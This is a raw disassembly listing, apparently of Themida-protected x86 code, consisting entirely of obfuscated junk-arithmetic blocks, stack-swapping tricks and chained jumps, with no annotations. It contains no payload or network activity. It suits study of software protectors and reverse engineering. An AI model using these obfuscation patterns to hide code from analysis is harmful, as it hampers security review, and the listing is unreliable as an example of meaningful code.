loc_5A0415:				; CODE XREF: Themida_:005A285Ej
					; Themida_:005A7DABj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5AF972
; ---------------------------------------------------------------------------


loc_5A0426:				; CODE XREF: Themida_:005994E2j
		push	esi
		push	eax
		mov	eax, 243E6CE9h
		jmp	loc_59B8FD
; ---------------------------------------------------------------------------


loc_5A0432:				; CODE XREF: Themida_:005A1963j
		mov	dl, ch
		jmp	loc_5A2A2C
; ---------------------------------------------------------------------------


loc_5A0439:				; CODE XREF: Themida_:005A6EF6j
		mov	[esp], eax
		push	5997h
		mov	[esp], edi
		jmp	loc_5ADBBD
; ---------------------------------------------------------------------------


loc_5A0449:				; CODE XREF: Themida_:0059D488j
		sub	esp, 4
		mov	[esp], eax
		push	0F66F35h
		jmp	loc_5AE7E9
; ---------------------------------------------------------------------------


loc_5A0459:				; CODE XREF: Themida_:005A0FCDj
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59C00F
; ---------------------------------------------------------------------------


loc_5A0473:				; CODE XREF: Themida_:005AD2F5j
		push	104Ch
		jmp	loc_59ACE0
; ---------------------------------------------------------------------------


loc_5A047D:				; CODE XREF: Themida_:005AD79Bj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A6912
; ---------------------------------------------------------------------------


loc_5A049A:				; CODE XREF: Themida_:005A626Fj
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5AAF2F
; ---------------------------------------------------------------------------


loc_5A04A3:				; CODE XREF: Themida_:0059B56Aj
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 71362254h
		push	0AEEh
		mov	[esp], eax
		mov	eax, 71362250h
		add	edi, 713874E2h
		sub	edi, eax
		jmp	loc_59BCE3
; ---------------------------------------------------------------------------


loc_5A04C8:				; CODE XREF: Themida_:0059CBC0j
		mov	ebp, 19231D31h
		inc	ebp
		jmp	loc_5A244F
; ---------------------------------------------------------------------------


loc_5A04D3:				; CODE XREF: Themida_:005997CAj
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A04EC:				; CODE XREF: Themida_:0059CF71j
		not	edi
		neg	edi
		add	edi, 401810B1h
		push	edx
		mov	edx, edi
		jmp	loc_59CD58
; ---------------------------------------------------------------------------


loc_5A04FE:				; CODE XREF: Themida_:005AF09Cj
		add	esi, 0AC81384h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AE3F1
; ---------------------------------------------------------------------------


loc_5A0511:				; CODE XREF: Themida_:005A7BC2j
		push	esi
		mov	esi, 24D65A61h
		push	24D65A65h
		pop	ebp
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A9379
; ---------------------------------------------------------------------------


loc_5A052A:				; CODE XREF: Themida_:005AC6ECj
		dec	ebx
		xor	ebx, 13FD51D0h
		sub	ebp, 5427228Fh
		add	ebp, ebx
		add	ebp, 5427228Fh
		pop	ebx
		jmp	loc_5AB8E4
; ---------------------------------------------------------------------------


loc_5A0545:				; CODE XREF: Themida_:005AF5D2j
		sub	edi, 0C4CB504Fh
		or	ebx, edi
		pop	edi
		shl	ebx, 8
		xor	ebx, 61CD6CC5h
		xor	ebx, 2DE4437Ah
		add	ebx, 3B9A37EFh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A79C7
; ---------------------------------------------------------------------------


loc_5A056B:				; CODE XREF: Themida_:005A2D1Bj
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	ebx, 2EE0603h
		sub	ebx, eax
		jmp	loc_5AF360
; ---------------------------------------------------------------------------


loc_5A0585:				; CODE XREF: Themida_:005A986Aj
		xor	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		imul	ecx
		push	8Dh
		mov	[esp], esi
		push	30AAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		jmp	loc_5AD1E6
; ---------------------------------------------------------------------------


loc_5A05C1:				; CODE XREF: Themida_:005A990Ej
		push	eax
		mov	eax, 2B2A418Fh
		or	eax, 29DD74C2h
		xchg	eax, ecx
		jmp	loc_5AF1C6
; ---------------------------------------------------------------------------


loc_5A05D2:				; CODE XREF: Themida_:005AD443j
		push	324Dh
		mov	[esp], ecx
		jmp	loc_59F63A
; ---------------------------------------------------------------------------


loc_5A05DF:				; CODE XREF: Themida_:005A23A0j
					; Themida_:005AD0BCj
		pop	ebx
		jmp	loc_59B3A0
; ---------------------------------------------------------------------------


loc_5A05E5:				; CODE XREF: Themida_:005A5CBDj
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	bl, 30h
		mov	ch, bl
		pop	ebx
		shl	ch, 2
		shr	ch, 5
		push	ebx
		jmp	loc_5AC905
; ---------------------------------------------------------------------------


loc_5A05FD:				; CODE XREF: Themida_:005AEFD9j
		mov	[esp], eax
		mov	eax, 6CF4209Eh
		xchg	eax, ecx
		jmp	loc_5AB1B3
; ---------------------------------------------------------------------------


loc_5A060B:				; CODE XREF: Themida_:005AB208j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		inc	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		add	edx, 0C9C803CCh
		jmp	loc_5A3654
; ---------------------------------------------------------------------------


loc_5A0625:				; CODE XREF: Themida_:005A485Ej
		add	ebp, 6B612842h
		sub	ebp, 13182F84h
		pop	ecx
		add	ebp, 4
		jmp	loc_59EF75
; ---------------------------------------------------------------------------


loc_5A063D:				; CODE XREF: Themida_:0059F1A0j
		sub	bh, dh
		pop	edx
		pop	cx
		or	bh, 0ABh
		xor	bh, 0D8h
		xor	bh, 0FDh
		jmp	loc_59F9C3
; ---------------------------------------------------------------------------


loc_5A0650:				; CODE XREF: Themida_:loc_59EFDBj
		jmp	loc_5A4450
; ---------------------------------------------------------------------------


loc_5A0655:				; CODE XREF: Themida_:005AF499j
		jmp	loc_5A3BFE
; ---------------------------------------------------------------------------


loc_5A065A:				; CODE XREF: Themida_:005A2530j
		neg	ebp
		jmp	loc_5A51EE
; ---------------------------------------------------------------------------


loc_5A0661:				; CODE XREF: Themida_:005A991Cj
		push	edi
		mov	edi, 0FFFFFFFFh
		add	edx, edi
		pop	edi
		not	edx
		jmp	loc_5A76FF
; ---------------------------------------------------------------------------


loc_5A0671:				; CODE XREF: Themida_:005A6368j
		sub	eax, ecx
		push	edx
		mov	edx, 48943BD8h
		shr	edx, 2
		dec	edx
		xor	edx, 6456E74h
		sub	eax, edx
		jmp	loc_5A7488
; ---------------------------------------------------------------------------


loc_5A068A:				; CODE XREF: Themida_:0059FA32j
		and	eax, 67D23A86h
		jnp	loc_5A9440
		sub	eax, 0F33DE8D5h
		mov	esi, eax
		pop	eax
		mov	eax, esi
		pop	esi
		jmp	loc_59CAE9
; ---------------------------------------------------------------------------


loc_5A06A5:				; CODE XREF: Themida_:005A0B6Ej
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AE6C2
; ---------------------------------------------------------------------------


loc_5A06B0:				; CODE XREF: Themida_:005AD98Ej
		add	edx, 0C92032E3h
		jmp	loc_5A599F
; ---------------------------------------------------------------------------


loc_5A06BB:				; CODE XREF: Themida_:005AEC60j
		add	eax, 16200E4Eh
		sub	eax, 2CC42468h
		sub	eax, 2E434759h
		add	eax, 45A74AF1h
		push	edi
		jmp	loc_5A0F50
; ---------------------------------------------------------------------------


loc_5A06D5:				; CODE XREF: Themida_:005AA0D3j
		add	esp, 4
		add	esp, 4
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, eax
		mov	dx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	3668h
		mov	[esp], edi
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		jmp	loc_5A7D4B
; ---------------------------------------------------------------------------


loc_5A0718:				; CODE XREF: Themida_:0059A9E7j
		add	esi, 603B7E05h
		push	dword ptr [esp]
		jmp	loc_5A2DDB
; ---------------------------------------------------------------------------


loc_5A0726:				; CODE XREF: Themida_:0059C98Cj
		push	0E95h
		mov	[esp], eax
		jmp	loc_5ABCE8
; ---------------------------------------------------------------------------


loc_5A0733:				; CODE XREF: Themida_:005A917Aj
		mov	edi, [esp]
		push	edi
		jmp	loc_5A4E9E
; ---------------------------------------------------------------------------


loc_5A073C:				; CODE XREF: Themida_:0059DC1Dj
		add	ebp, 689B0DC2h
		jmp	loc_5AFA35
; ---------------------------------------------------------------------------


loc_5A0747:				; CODE XREF: Themida_:005A900Cj
		xchg	ebx, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A7DB6
; ---------------------------------------------------------------------------


loc_5A0756:				; CODE XREF: Themida_:0059DDD9j
		jmp	loc_5A5415
; ---------------------------------------------------------------------------


loc_5A075B:				; CODE XREF: Themida_:005ADD3Bj
		xchg	edi, [esp]
		jmp	loc_59B1E3
; ---------------------------------------------------------------------------


loc_5A0763:				; CODE XREF: Themida_:005AA789j
		push	64F805A4h
		jmp	loc_59A48B
; ---------------------------------------------------------------------------


loc_5A076D:				; CODE XREF: Themida_:005AD3B0j
		inc	ebx
		jmp	loc_5AD241
; ---------------------------------------------------------------------------


loc_5A0773:				; CODE XREF: Themida_:0059D796j
		push	372Ch
		mov	[esp], ecx
		push	5574h
		jmp	loc_5ABA38
; ---------------------------------------------------------------------------


loc_5A0785:				; CODE XREF: Themida_:005AEE95j
		add	ebx, 3A5F3C71h
		shl	ebx, 2
		push	esi
		push	592Fh
		jmp	loc_5A7568
; ---------------------------------------------------------------------------


loc_5A0799:				; CODE XREF: Themida_:00598DB0j
		jnz	loc_5A5EF1
		jmp	loc_5AEE0D
; ---------------------------------------------------------------------------
		pop	eax
		add	edi, edx
		pop	edx
		push	edx


loc_5A07A9:				; CODE XREF: Themida_:005A4D04j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5994ED
; ---------------------------------------------------------------------------


loc_5A07BB:				; CODE XREF: Themida_:0059AFDAj
		sub	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_59A22F
; ---------------------------------------------------------------------------


loc_5A07C8:				; CODE XREF: Themida_:005A7FDBj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4C555CA5h
		shr	edi, 6
		push	edx
		jmp	loc_5ADBE2
; ---------------------------------------------------------------------------


loc_5A07DF:				; CODE XREF: Themida_:005A465Bj
		push	eax
		mov	eax, 0F88705Bh
		sub	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_5AAC99
; ---------------------------------------------------------------------------


loc_5A07EE:				; CODE XREF: Themida_:005AA7DAj
					; Themida_:005AC61Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		pop	ecx
		push	1BB7h
		jmp	loc_5AC231
; ---------------------------------------------------------------------------


loc_5A0800:				; CODE XREF: Themida_:0059B4B3j
					; Themida_:005A4166j
		push	edi
		push	esp
		jmp	loc_5AA423
; ---------------------------------------------------------------------------


loc_5A0807:				; CODE XREF: Themida_:005A91E3j
		pop	dword ptr [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		push	eax
		mov	eax, 38h
		jmp	loc_5A7E90
; ---------------------------------------------------------------------------


loc_5A0820:				; DATA XREF: Themida_:00598744o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A082F:				; CODE XREF: Themida_:005AC48Dj
		push	dx
		not	byte ptr [esp+1]
		jmp	loc_59D011
; ---------------------------------------------------------------------------


loc_5A083A:				; CODE XREF: Themida_:0059DA79j
		push	31E31381h
		jmp	loc_5A56F3
; ---------------------------------------------------------------------------


loc_5A0844:				; CODE XREF: Themida_:005ABF8Ej
					; Themida_:005AE12Dj
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	4B89h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_59BE96
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A1E51
; ---------------------------------------------------------------------------


loc_5A0865:				; CODE XREF: Themida_:0059F051j
		xchg	esi, ecx
		jmp	loc_59D20F
; ---------------------------------------------------------------------------


loc_5A086C:				; CODE XREF: Themida_:005A39D1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	[edi+24h], eax
		push	dword ptr [esp]
		jmp	loc_59DEC1
; ---------------------------------------------------------------------------


loc_5A0887:				; CODE XREF: Themida_:005AAF70j
		pop	edi
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A088D:				; CODE XREF: Themida_:005A00D9j
		or	edi, 183F156Dh
		jmp	loc_59A356
; ---------------------------------------------------------------------------


loc_5A0898:				; CODE XREF: Themida_:005A275Cj
		add	eax, 0FF78A7CCh
		push	ebp
		mov	ebp, 51D4069Dh
		jmp	loc_5AB3CF
; ---------------------------------------------------------------------------


loc_5A08A8:				; CODE XREF: Themida_:005A7163j
		jmp	loc_598D9C
; ---------------------------------------------------------------------------


loc_5A08AD:				; CODE XREF: Themida_:loc_5AB364j
		jmp	loc_59B2C1
; ---------------------------------------------------------------------------


loc_5A08B2:				; CODE XREF: Themida_:005AB388j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0ECDh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A9172
; ---------------------------------------------------------------------------


loc_5A08D2:				; CODE XREF: Themida_:0059F96Bj
		mov	dh, al
		jmp	loc_59BC70
; ---------------------------------------------------------------------------


loc_5A08D9:				; CODE XREF: Themida_:005A444Bj
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	edi
		push	esi
		mov	esi, 42432C49h
		mov	edi, esi
		pop	esi
		jmp	loc_5A671B
; ---------------------------------------------------------------------------


loc_5A08EC:				; CODE XREF: Themida_:005A0220j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5578
; ---------------------------------------------------------------------------


loc_5A08FE:				; CODE XREF: Themida_:005AE9E7j
		pop	ebx
		jmp	loc_5AB229
; ---------------------------------------------------------------------------


loc_5A0904:				; CODE XREF: Themida_:005AE069j
		add	bl, 4Ch
		pop	eax
		jmp	loc_5AE19A
; ---------------------------------------------------------------------------


loc_5A090D:				; CODE XREF: Themida_:0059FB52j
					; Themida_:005A45E2j ...
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	235Bh
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_59A639
; ---------------------------------------------------------------------------


loc_5A0923:				; CODE XREF: Themida_:0059DD9Bj
		mov	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A54BF
; ---------------------------------------------------------------------------


loc_5A093A:				; CODE XREF: Themida_:005995C3j
		pop	ecx
		sub	edx, 298680Ch
		sub	ebx, 28F2736Dh
		add	ebx, edx
		push	edx
		jmp	loc_5A34FE
; ---------------------------------------------------------------------------


loc_5A094F:				; CODE XREF: Themida_:0059BB5Fj
		push	ebx
		mov	ebx, 0F0C2B5Fh
		shl	ebx, 4
		add	ebx, 3B5064E1h
		push	edi
		mov	edi, 5DD53BE8h
		not	edi
		dec	edi
		shl	edi, 5
		shr	edi, 8
		jmp	loc_5AABF8
; ---------------------------------------------------------------------------


loc_5A0972:				; CODE XREF: Themida_:005AF418j
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5AA009
; ---------------------------------------------------------------------------


loc_5A097C:				; CODE XREF: Themida_:005AF1E1j
		push	2BD4h
		mov	[esp], eax
		mov	eax, 45D5E00Eh
		jmp	loc_59D1DD
; ---------------------------------------------------------------------------


loc_5A098E:				; CODE XREF: Themida_:0059DF44j
					; Themida_:005A8ABCj
		mov	[esp], edx
		jmp	loc_59D193
; ---------------------------------------------------------------------------


loc_5A0996:				; CODE XREF: Themida_:00599BE0j
		xor	edx, 6FFC7C6Bh
		jz	loc_59ED8E
		sub	edx, 95E5EB90h
		push	eax
		jmp	loc_5A223B
; ---------------------------------------------------------------------------


loc_5A09AE:				; CODE XREF: Themida_:0059FCD0j
		neg	eax
		add	eax, 43470E31h
		sub	eax, 6230040Ah
		jmp	loc_59C1F6
; ---------------------------------------------------------------------------


loc_5A09BF:				; CODE XREF: Themida_:0059DE07j
					; DATA XREF: Themida_:005987E0o
		neg	word ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A09C9:				; CODE XREF: Themida_:005A8384j
		mov	ecx, 3320101Ch
		sub	edx, ecx
		jmp	loc_5AE380
; ---------------------------------------------------------------------------


loc_5A09D5:				; CODE XREF: Themida_:00599E0Fj
		xor	dh, 0EBh
		xor	al, dh
		pop	edx
		push	edx
		mov	dh, 2Bh
		sub	al, dh
		pop	edx
		jmp	loc_5A7258
; ---------------------------------------------------------------------------


loc_5A09E6:				; CODE XREF: Themida_:005A02DDj
		and	ebx, ebp
		pop	ebp
		shr	ebx, 6
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		push	ebp
		jmp	loc_59E946
; ---------------------------------------------------------------------------


loc_5A09F8:				; CODE XREF: Themida_:loc_5A690Dj
		push	edi
		mov	edi, 218795Fh
		shl	edi, 7
		neg	edi
		xor	edi, 0B9800702h
		sub	edx, 77A93603h
		sub	edx, edi
		add	edx, 77A93603h
		jmp	loc_5A43DB
; ---------------------------------------------------------------------------


loc_5A0A1C:				; CODE XREF: Themida_:0059D53Dj
		add	bl, dh
		jmp	loc_5A9AC2
; ---------------------------------------------------------------------------


loc_5A0A23:				; DATA XREF: Themida_:005987D8o
		mov	cx, [esp]
		push	7D6Dh
		mov	[esp], ebp
		push	3795h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 48D86C9Eh
		shl	ecx, 8
		push	edi
		jmp	loc_5A65C0
; ---------------------------------------------------------------------------


loc_5A0A4E:				; CODE XREF: Themida_:005A3D02j
					; Themida_:005AE3CFj
		sub	eax, 3D62375Dh
		jmp	loc_5A1BCC
; ---------------------------------------------------------------------------


loc_5A0A58:				; CODE XREF: Themida_:0059B3EFj
		mov	edi, 33737BC1h
		inc	edi
		jns	loc_5AE30B
		jmp	loc_5A42F3
; ---------------------------------------------------------------------------
		pop	ebx
		pop	eax
		pop	ecx
		jns	loc_5AD7CA


loc_5A0A72:				; CODE XREF: Themida_:005A93D3j
		jmp	loc_59BB5C
; ---------------------------------------------------------------------------


loc_5A0A77:				; CODE XREF: Themida_:0059E189j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_59F0D0
; ---------------------------------------------------------------------------


loc_5A0A88:				; CODE XREF: Themida_:005AD73Cj
		sub	dword ptr [esp+4], 36B6653h
		add	[esp+4], eax
		jmp	loc_5A5598
; ---------------------------------------------------------------------------


loc_5A0A99:				; CODE XREF: Themida_:005A8ADBj
		add	edx, 7E91757h
		push	2ABFh
		mov	[esp], eax
		mov	eax, 5A960056h
		push	72AAh
		mov	[esp], ecx
		mov	ecx, 618E65A0h
		or	eax, ecx
		pop	ecx
		xor	eax, 0FB857A2Bh
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59960E
; ---------------------------------------------------------------------------


loc_5A0AD1:				; CODE XREF: Themida_:0059DFEEj
		add	esp, 4
		add	esi, 7C50B5Dh
		sub	esi, 0D68F8346h
		sub	ebx, esi
		pop	esi
		add	ebx, 5FC70574h
		jmp	loc_599887
; ---------------------------------------------------------------------------


loc_5A0AEE:				; CODE XREF: Themida_:005A198Aj
		mov	ebx, 61BA4B23h
		push	esi
		mov	esi, 61BA4B1Fh
		sub	ebx, esi
		pop	esi
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59C8E7
; ---------------------------------------------------------------------------


loc_5A0B0D:				; CODE XREF: Themida_:0059BD9Cj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A2357
; ---------------------------------------------------------------------------


loc_5A0B1B:				; CODE XREF: Themida_:005AB7CAj
		sub	ch, bh
		pop	ebx
		jmp	loc_5A8C9B
; ---------------------------------------------------------------------------


loc_5A0B23:				; CODE XREF: Themida_:0059C09Dj
		push	ebp
		mov	ebp, 437E1704h
		xor	ecx, ebp
		pop	ebp
		add	ebp, 13182F84h
		sub	ebp, 6B612842h
		jmp	loc_5AC175
; ---------------------------------------------------------------------------


loc_5A0B3D:				; CODE XREF: Themida_:0059F3CBj
		add	al, ch
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	cx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0BAh
		xor	bl, 1Ch
		jnz	loc_5A5A45
		jmp	loc_5AADAC
; ---------------------------------------------------------------------------
		shr	edi, 7
		mov	bh, 0CCh


loc_5A0B67:				; CODE XREF: Themida_:00599386j
		pop	ebp
		xor	ebx, 3E732C75h
		jmp	loc_5A06A5
; ---------------------------------------------------------------------------


loc_5A0B73:				; CODE XREF: Themida_:0059D99Ej
		add	esp, 4
		push	4582h
		mov	[esp], ecx
		mov	ecx, 371C2C1Dh
		add	ecx, 55B62EEEh
		dec	ecx
		jmp	loc_5AA3B0
; ---------------------------------------------------------------------------


loc_5A0B92:				; CODE XREF: Themida_:005A9340j
		sub	esi, 0E2882870h
		and	edx, esi
		pop	esi
		sub	edx, 147383Ch
		add	esi, edx
		pop	edx
		push	edx
		push	ebx
		mov	ebx, 184A498Fh
		mov	edx, ebx
		jmp	loc_59FC3D
; ---------------------------------------------------------------------------


loc_5A0BB2:				; CODE XREF: Themida_:0059C92Bj
		xor	ch, bl
		xor	bl, ch
		xor	ch, bl
		push	dx
		mov	dl, bl
		not	dl
		mov	bl, dl
		pop	dx
		push	ax
		jmp	loc_5A2BA5
; ---------------------------------------------------------------------------


loc_5A0BC9:				; CODE XREF: Themida_:005A487Aj
		add	ecx, ebx
		pop	ebx
		sub	ecx, edx
		sub	ecx, 3D5832ABh
		pop	edx
		xor	ecx, 4E3C58F0h
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5ABBC2
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 755A0996h
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_5AA3F5
; ---------------------------------------------------------------------------


loc_5A0C02:				; CODE XREF: Themida_:005AD266j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5A8698
; ---------------------------------------------------------------------------


loc_5A0C10:				; CODE XREF: Themida_:0059A881j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5ABEA5
; ---------------------------------------------------------------------------


loc_5A0C1D:				; CODE XREF: Themida_:005A722Dj
		xchg	ebp, [esp]
		jmp	loc_59E4C4
; ---------------------------------------------------------------------------


loc_5A0C25:				; CODE XREF: Themida_:005A9BCBj
		xor	eax, ebp
		pop	ebp
		add	eax, 3F9F5F1Ah
		jmp	loc_59F81B
; ---------------------------------------------------------------------------


loc_5A0C32:				; CODE XREF: Themida_:005AF4CEj
		push	0DFh
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_5A1061
; ---------------------------------------------------------------------------


loc_5A0C4D:				; CODE XREF: Themida_:005A4504j
		mov	ebp, edi
		push	ebp
		pop	edx
		pop	ebp
		pop	edi
		and	eax, edx
		jmp	loc_5AB0EA
; ---------------------------------------------------------------------------


loc_5A0C5A:				; CODE XREF: Themida_:0059EDF8j
		shr	ch, 5
		sub	ch, 1
		sub	ch, 96h
		sub	bl, 0AAh
		jmp	loc_598E77
; ---------------------------------------------------------------------------


loc_5A0C6B:				; CODE XREF: Themida_:005A5E08j
		sub	edx, 5672391Eh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A2F07
; ---------------------------------------------------------------------------


loc_5A0C82:				; CODE XREF: Themida_:005A90A1j
		mov	ebp, 72B52671h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5997DB
; ---------------------------------------------------------------------------


loc_5A0C8F:				; CODE XREF: Themida_:00598EB8j
		push	6C4Fh
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 261F0D66h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 261F0D66h
		pop	eax
		jmp	loc_5A1415
; ---------------------------------------------------------------------------


loc_5A0CB7:				; CODE XREF: Themida_:00599931j
		jl	loc_59A53C
		jmp	loc_5A1A42
; ---------------------------------------------------------------------------


loc_5A0CC2:				; CODE XREF: Themida_:005A72D2j
		push	esi
		mov	esi, esp
		jmp	loc_5AB0D2
; ---------------------------------------------------------------------------


loc_5A0CCA:				; CODE XREF: Themida_:005A4543j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A86F6
; ---------------------------------------------------------------------------


loc_5A0CDB:				; CODE XREF: Themida_:0059BFC2j
		sub	esi, 64450EBCh
		xor	ebp, esi
		jmp	loc_59EC33
; ---------------------------------------------------------------------------


loc_5A0CE8:				; CODE XREF: Themida_:0059B96Fj
		mov	esi, 78852F80h
		and	esi, 7ADD391Eh
		dec	esi
		js	loc_59DBCB
		push	edi
		push	edx
		jmp	loc_5A5D4E
; ---------------------------------------------------------------------------


loc_5A0D01:				; CODE XREF: Themida_:loc_5A9D26j
		neg	eax
		jl	loc_5A260B
		xor	eax, 67A1525Eh
		xor	eax, 23F25F76h
		mov	esi, eax
		jmp	loc_59996F
; ---------------------------------------------------------------------------


loc_5A0D1A:				; CODE XREF: Themida_:005AE251j
		sub	ebx, 21841467h
		xor	ebx, 0C954F5EFh
		sub	ebp, ebx
		pop	ebx
		add	ebp, esi
		add	ebp, 16320B0Ah
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_599036
; ---------------------------------------------------------------------------


loc_5A0D45:				; CODE XREF: Themida_:0059FD66j
		mov	[edi+eax*4+1], cl
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A0D61:				; CODE XREF: Themida_:005A8F12j
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_5A36F2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5AA933
; ---------------------------------------------------------------------------


loc_5A0D75:				; CODE XREF: Themida_:005A48DCj
					; Themida_:005A62E3j
		xor	dx, 327Ch
		xor	ax, dx
		mov	edx, [esp]
		add	esp, 4
		push	cx
		jmp	loc_5ACD36
; ---------------------------------------------------------------------------


loc_5A0D8D:				; CODE XREF: Themida_:005ADD99j
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AA431
; ---------------------------------------------------------------------------


loc_5A0DA8:				; CODE XREF: Themida_:005AEF52j
		xchg	ah, dh
		push	ecx
		jmp	loc_59F5B3
; ---------------------------------------------------------------------------


loc_5A0DB0:				; CODE XREF: Themida_:005ACDCAj
		mov	edx, 5DBC3500h
		jmp	loc_5ABB7F
; ---------------------------------------------------------------------------


loc_5A0DBA:				; CODE XREF: Themida_:0059C146j
		add	ecx, edi
		jmp	loc_59F235
; ---------------------------------------------------------------------------


loc_5A0DC1:				; CODE XREF: Themida_:0059F5B5j
		not	ch
		dec	ch
		not	ch
		jmp	loc_5A69EB
; ---------------------------------------------------------------------------


loc_5A0DCC:				; CODE XREF: Themida_:005A2A67j
		xor	ah, 5
		push	7878h
		jmp	loc_59FF99
; ---------------------------------------------------------------------------


loc_5A0DD9:				; CODE XREF: Themida_:005ADEBAj
		push	ecx
		jmp	loc_59F9E0
; ---------------------------------------------------------------------------


loc_5A0DDF:				; CODE XREF: Themida_:005AE9EFj
		xor	edi, [esp]
		jmp	loc_5A66C6
; ---------------------------------------------------------------------------


loc_5A0DE7:				; CODE XREF: Themida_:005A173Fj
		pop	eax
		push	edx
		jmp	loc_5AC24B
; ---------------------------------------------------------------------------


loc_5A0DEE:				; CODE XREF: Themida_:005AC6ABj
		pop	eax
		pop	edx
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		push	1BC6h
		jmp	loc_5A86EA
; ---------------------------------------------------------------------------


loc_5A0E02:				; CODE XREF: Themida_:005A735Aj
		add	ebx, 362F79C6h
		mov	edi, ebx
		pop	ebx
		jmp	loc_5A3040
; ---------------------------------------------------------------------------


loc_5A0E10:				; CODE XREF: Themida_:005A6031j
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		sub	eax, 0C8E3C7Eh
		add	eax, ebx
		jmp	loc_5A55FE
